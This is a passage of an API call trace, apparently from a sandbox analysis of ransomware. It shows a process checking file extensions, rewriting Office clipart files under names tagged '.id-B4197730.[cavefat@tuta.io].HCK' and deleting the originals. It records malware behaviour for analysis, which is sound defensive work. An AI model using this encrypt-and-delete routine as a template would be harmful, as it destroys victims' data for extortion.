lpString2=".BMP") returned 1 [0229.408] lstrlenW (lpString=".xlsx") returned 5 [0229.408] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0229.408] lstrlenW (lpString=".ppt") returned 4 [0229.408] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0229.408] lstrlenW (lpString=".zip") returned 4 [0229.408] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.408] lstrlenW (lpString=".rar") returned 4 [0229.408] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.408] lstrlenW (lpString=".bz2") returned 4 [0229.408] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.408] lstrlenW (lpString=".7z") returned 3 [0229.408] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0229.408] lstrlenW (lpString=".dbf") returned 4 [0229.408] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0229.408] lstrlenW (lpString=".1cd") returned 4 [0229.408] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0229.408] lstrlenW (lpString=".jpg") returned 4 [0229.408] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.408] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0229.408] lstrlenW (lpString="J0101857.BMP") returned 12 [0229.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.409] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=32184) returned 1 [0229.409] CloseHandle (hObject=0x4a8) returned 1 [0229.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 0x220 [0229.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.410] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.410] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0229.411] GetLastError () returned 0x0 [0229.411] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0229.413] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0229.414] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.414] WriteFile (in: hFile=0x4c0, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0229.414] SetEndOfFile (hFile=0x4c0) returned 1 [0229.414] CloseHandle (hObject=0x4c0) returned 1 [0229.414] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.414] SetEndOfFile (hFile=0x4a8) returned 1 [0229.624] CloseHandle (hObject=0x4a8) returned 1 [0229.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 1 [0229.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0229.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0229.625] lstrlenW (lpString=".doc") returned 4 [0229.625] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.625] lstrlenW (lpString=".docx") returned 5 [0229.625] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0229.626] lstrlenW (lpString=".pdf") returned 4 [0229.626] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.626] lstrlenW (lpString=".xls") returned 4 [0229.626] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.626] lstrlenW (lpString=".xlsx") returned 5 [0229.626] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0229.626] lstrlenW (lpString=".ppt") returned 4 [0229.626] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0229.626] lstrlenW (lpString=".zip") returned 4 [0229.626] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.626] lstrlenW (lpString=".rar") returned 4 [0229.626] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.626] lstrlenW (lpString=".bz2") returned 4 [0229.626] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.626] lstrlenW (lpString=".7z") returned 3 [0229.626] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0229.626] lstrlenW (lpString=".dbf") returned 4 [0229.626] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0229.626] lstrlenW (lpString=".1cd") returned 4 [0229.626] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0229.626] lstrlenW (lpString=".jpg") returned 4 [0229.626] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0229.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0229.626] lstrlenW (lpString=".doc") returned 4 [0229.626] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.626] lstrlenW (lpString=".docx") returned 5 [0229.626] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0229.626] lstrlenW (lpString=".pdf") returned 4 [0229.626] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.626] lstrlenW (lpString=".xls") returned 4 [0229.626] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.626] lstrlenW (lpString=".xlsx") returned 5 [0229.626] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0229.626] lstrlenW (lpString=".ppt") returned 4 [0229.626] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0229.626] lstrlenW (lpString=".zip") returned 4 [0229.626] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.627] lstrlenW (lpString=".rar") returned 4 [0229.627] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.627] lstrlenW (lpString=".bz2") returned 4 [0229.627] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.627] lstrlenW (lpString=".7z") returned 3 [0229.627] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0229.627] lstrlenW (lpString=".dbf") returned 4 [0229.627] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0229.627] lstrlenW (lpString=".1cd") returned 4 [0229.627] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0229.627] lstrlenW (lpString=".jpg") returned 4 [0229.627] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.627] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0229.627] lstrlenW (lpString="J0101861.BMP") returned 12 [0229.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.628] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=32184) returned 1 [0229.628] CloseHandle (hObject=0x4a8) returned 1 [0229.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 0x220 [0229.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.628] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.629] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0229.629] GetLastError () returned 0x0 [0229.629] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0229.631] WriteFile (in: hFile=0x534, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0229.632] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.632] WriteFile (in: hFile=0x534, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0229.632] SetEndOfFile (hFile=0x534) returned 1 [0229.632] CloseHandle (hObject=0x534) returned 1 [0229.632] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.632] SetEndOfFile (hFile=0x4a8) returned 1 [0229.635] CloseHandle (hObject=0x4a8) returned 1 [0229.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 1 [0229.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0229.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0229.636] lstrlenW (lpString=".doc") returned 4 [0229.636] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.636] lstrlenW (lpString=".docx") returned 5 [0229.636] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0229.636] lstrlenW (lpString=".pdf") returned 4 [0229.636] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.636] lstrlenW (lpString=".xls") returned 4 [0229.636] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.636] lstrlenW (lpString=".xlsx") returned 5 [0229.636] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0229.636] lstrlenW (lpString=".ppt") returned 4 [0229.636] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0229.636] lstrlenW (lpString=".zip") returned 4 [0229.636] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.636] lstrlenW (lpString=".rar") returned 4 [0229.636] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.636] lstrlenW (lpString=".bz2") returned 4 [0229.636] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.636] lstrlenW (lpString=".7z") returned 3 [0229.636] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0229.636] lstrlenW (lpString=".dbf") returned 4 [0229.636] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0229.636] lstrlenW (lpString=".1cd") returned 4 [0229.636] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0229.636] lstrlenW (lpString=".jpg") returned 4 [0229.636] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0229.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0229.637] lstrlenW (lpString=".doc") returned 4 [0229.637] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.637] lstrlenW (lpString=".docx") returned 5 [0229.637] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1 [0229.637] lstrlenW (lpString=".pdf") returned 4 [0229.637] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.637] lstrlenW (lpString=".xls") returned 4 [0229.637] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.637] lstrlenW (lpString=".xlsx") returned 5 [0229.637] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1 [0229.637] lstrlenW (lpString=".ppt") returned 4 [0229.637] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0229.637] lstrlenW (lpString=".zip") returned 4 [0229.637] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.637] lstrlenW (lpString=".rar") returned 4 [0229.637] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.637] lstrlenW (lpString=".bz2") returned 4 [0229.637] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.637] lstrlenW (lpString=".7z") returned 3 [0229.637] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0229.637] lstrlenW (lpString=".dbf") returned 4 [0229.637] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0229.637] lstrlenW (lpString=".1cd") returned 4 [0229.637] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68 [0229.637] lstrlenW (lpString=".jpg") returned 4 [0229.637] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.637] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0229.637] lstrlenW (lpString="J0101862.BMP") returned 12 [0229.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.638] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=32184) returned 1 [0229.638] CloseHandle (hObject=0x4a8) returned 1 [0229.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 0x220 [0229.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.639] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.639] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0229.639] GetLastError () returned 0x0 [0229.639] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0229.641] WriteFile (in: hFile=0x534, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0229.642] ReadFile (in: hFile=0x4a8, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.642] WriteFile (in: hFile=0x534, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0229.642] SetEndOfFile (hFile=0x534) returned 1 [0229.642] CloseHandle (hObject=0x534) returned 1 [0229.642] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.642] SetEndOfFile (hFile=0x4a8) returned 1 [0229.645] CloseHandle (hObject=0x4a8) returned 1 [0229.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 1 [0229.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0229.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0229.647] lstrlenW (lpString=".doc") returned 4 [0229.647] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.647] lstrlenW (lpString=".docx") returned 5 [0229.647] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0229.647] lstrlenW (lpString=".pdf") returned 4 [0229.647] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.647] lstrlenW (lpString=".xls") returned 4 [0229.647] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.647] lstrlenW (lpString=".xlsx") returned 5 [0229.647] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0229.647] lstrlenW (lpString=".ppt") returned 4 [0229.647] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0229.647] lstrlenW (lpString=".zip") returned 4 [0229.647] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.647] lstrlenW (lpString=".rar") returned 4 [0229.647] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.647] lstrlenW (lpString=".bz2") returned 4 [0229.647] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.647] lstrlenW (lpString=".7z") returned 3 [0229.647] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0229.648] lstrlenW (lpString=".dbf") returned 4 [0229.648] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0229.648] lstrlenW (lpString=".1cd") returned 4 [0229.648] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0229.648] lstrlenW (lpString=".jpg") returned 4 [0229.648] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0229.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0229.648] lstrlenW (lpString=".doc") returned 4 [0229.648] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.648] lstrlenW (lpString=".docx") returned 5 [0229.648] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0229.648] lstrlenW (lpString=".pdf") returned 4 [0229.648] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.648] lstrlenW (lpString=".xls") returned 4 [0229.648] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.648] lstrlenW (lpString=".xlsx") returned 5 [0229.648] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0229.648] lstrlenW (lpString=".ppt") returned 4 [0229.648] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0229.648] lstrlenW (lpString=".zip") returned 4 [0229.648] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.648] 